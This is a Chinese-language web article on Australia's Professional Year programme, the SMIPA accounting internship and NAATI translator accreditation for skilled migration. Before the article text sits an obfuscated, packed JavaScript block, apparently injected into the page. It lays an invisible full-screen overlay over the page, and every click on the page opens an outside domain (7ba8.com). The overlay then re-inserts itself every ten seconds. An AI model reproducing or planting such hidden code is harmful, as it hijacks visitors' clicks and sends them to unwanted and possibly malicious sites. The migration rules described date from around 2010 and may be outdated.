<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>解密澳大利亚移民职业年Professional Year 和natti 什么是专业年？ 专业培训年（Professional Year）是澳大利亚移民局根据澳大利亚技术移民条例而设置的一个专业知识与工作实习相结合的课程。485签证的申请或持有人在完成专业培训年课程后，在申请技术移民时可获得额外的5分，从而满足独立技术移民60分的要求。而会计专业的毕业生，在完成了Professional Year的课程后，便可以满足条件被列入CSL清单，移民申请可以得到优先处理。同时，通过专业培训年的定向专业培训，能帮助学生熟悉澳大利亚就业市场及其文化，了解职业规范和价值观念，以增加毕业生的就业机会。 职业年申请条件？ 1) 在澳大利亚学满两学年，并取得本科或者硕士学位。(由于专业培训年课程必须在485签证有效期之内完成，培训机构会建议学生申请专业培训年课程最好不要超过完成学位之后的6个月。) 2) 必须持有或已申请485临居签证。 3) IELTS平均最少6分，每项不低于6。 4) 已获得相关专业的职业技术评估。 这个课程需要办理什么签证？ 485签证，在等待485签证发下来的期间就可以开始职业年课程。如果485签证下不来，那就不能另外加5分移民分。即使不是在签证下来前就开始就读些课程，在课程期间，只要485签证一下来，你就立即可以加5分移民分。 职业年课程包括以下4项主要课程 职业训练：本科目将提高你职场方面的谈话技巧、面试技巧、履历指导、会议流程、商业安排及其他职场所须知识。 澳大利亚职场概念：本科目的设计是为了要使国际学生学习到澳洲人的工作概念，例如：职业的健康及安全性、同事分工合作、实行工作计划、员工自我管理、员工关系以及如何解决工作上的问题等。 专业实习：本科目将会安排学生不带薪在正规公司里实习的机会，让学生能借此机会发展所长。这是整个课程中最关键的部分，必须要先通过学校面试。 专业项目：本科目将针对学生的知识及技能作发展，让学生成为相关行业的专业人士。 澳洲政府一共选出3项专业： 1、计算机科学 2、会计 3、工程 你所学的专业必须是上述其一才能有资格申请本课程。换句话说，职业年课程必须要与你的专业相关。 以会计为例： 在澳洲读会计专业，学制2年以上的话，经过CPA认证，如果IELTS能考到7分就能直接移民(PR)，如果IELTS成绩不到4个7，只能拿到TR，另外的分数需要通过找会计相关工作或者读professional year来拿，然后达到可以申请PR的分数。 Professional year包括了3个月internship和9个月的course，申请前提就是必须已经有TR或者正在申请TR SMIPA 是Skilled Migration Intership Program-Accounting的缩写。由澳大利亚移民部DIAC三个专业会计学会CA,CPA和NIA联合批准实行。 SMIPA 的内容和作用是什么？会计在澳洲是紧缺职业，SMIPA提供会计学毕业生在专业会计师指导下的实习机会，提供专业英语和工作场所的沟通技巧训练，和增进就业机会的辅导。 SMIPA对获取技术移民的意义是什么？作为移民部批准的一个计划，成功完成SMIPA的学生课获技术移民的额外10分。 申请Professional Year的要求：在澳洲学习满两年，完成会计学的学时或硕士学位；并递交了毕业生零时签证485的申请 到2010年7月1日为止，官方承认的SMIPA课程有以下几家学校： 1. Accountants Resource Centre: Melbourne 2. AMI Education: Melbourne 3. Australian Institute of Practical Accounting (AIPA): Melbourne 4. Brisbane North Institute of TAFE: Brisbane 5. Education Centre of Australia: Sydney 6. Flinders University: Adelaide 7. Holmesglen Institute of TAFE: Melbourne 8. Navitas Workforce Solutions: Sydney, Melbourne, Brisbane, Adelaide, Perth 9. Oten TAFE: Sydney 10. Performance English: Sydney, Melbourne 11. Professional Pathways Australia: Melbourne, Sydney 12. Queensland International Business Academy (QIBA): Gold Coast, Brisbane, Sydney 13. Swinburne University of Technology: Melbourne 14. The University of Queensland 15. TOP Education Group: Brisbane, Gold Coast, Sydney, Melbourne, Adelaide NAATI(The National Accreditation Authority for Translators and Interpreters) 是澳大利亚对翻译和口译资格进行认证的一个官方机构。该机构成立于 1977 年，在这近 30 年间， NAATI 旨在为不同程度的翻译和口译人员设立一个专业的标准及开发，创立一个全国性的注册和颁发职业上岗证的系统。Naati 为申请者提供以下三种方式的评审方式，只要符合（通过）其中的任何一条，即为评估合格（ suitable ） : 1) 通过 Naati 的指定考试，或 2) 完成 Naati 认可或指定的澳大利亚相关机构或大学的学习课程， 或 3) 完成 Naati 认可或指定的海外机构/大学的相关专业的学历和证书。1 ） Natti 指定考试 NAATI 的资格认证考试由 2 个部分组成：口译 Interpreting （ 2529-13 ）和翻译 Translation （ 2529-15 ）。而这 2 个部分又分别具有 4 个不同程度的考试，分别为准口译（ Paraprofessional Interpreter ） , 准翻译（ ParaprofessionalTranslator ） , 口译（ Interpreter ） , 翻译（ Translator ） , 会议口译（ Conference Interpreter ） , 高级翻译（ Advanced Translator ） , 高级会议口译（ Senior Conference Interpreter ），资深翻译（ Senior Advanced Translator ）。2 ） Naati 认可或指定的澳大利亚相关机构或大学的学习课程3) 完成 Naati 认可或指定的海外机构/大学的相关专业的学历和证书。 目前， Naati 提供的海外学历/证书评估主要包括 translator, Advanced translator and conference interpreter, Conference interpreter(Senior)and advanced translator(senior) 三个分类。对于拥有中国大陆学历/学位的申请者，只能申请的是第一个分类 translator, 而且是 one language direction 的，即英翻中（笔译）。申请者必须符合以下条件之一： a) 申请者必须完成正式的大学课程，并获得相关专业的学历或学位，这里的相关专业主要指 translating and/or interpreting. 其中的大学必须为 NAATI 认可或指定的大学或机构。 b)Senior 类的申请者必须是国际翻译协会的注册会员，例如 AIIC,AITC, TAALS.
联系人：
联系方式： |
|
收藏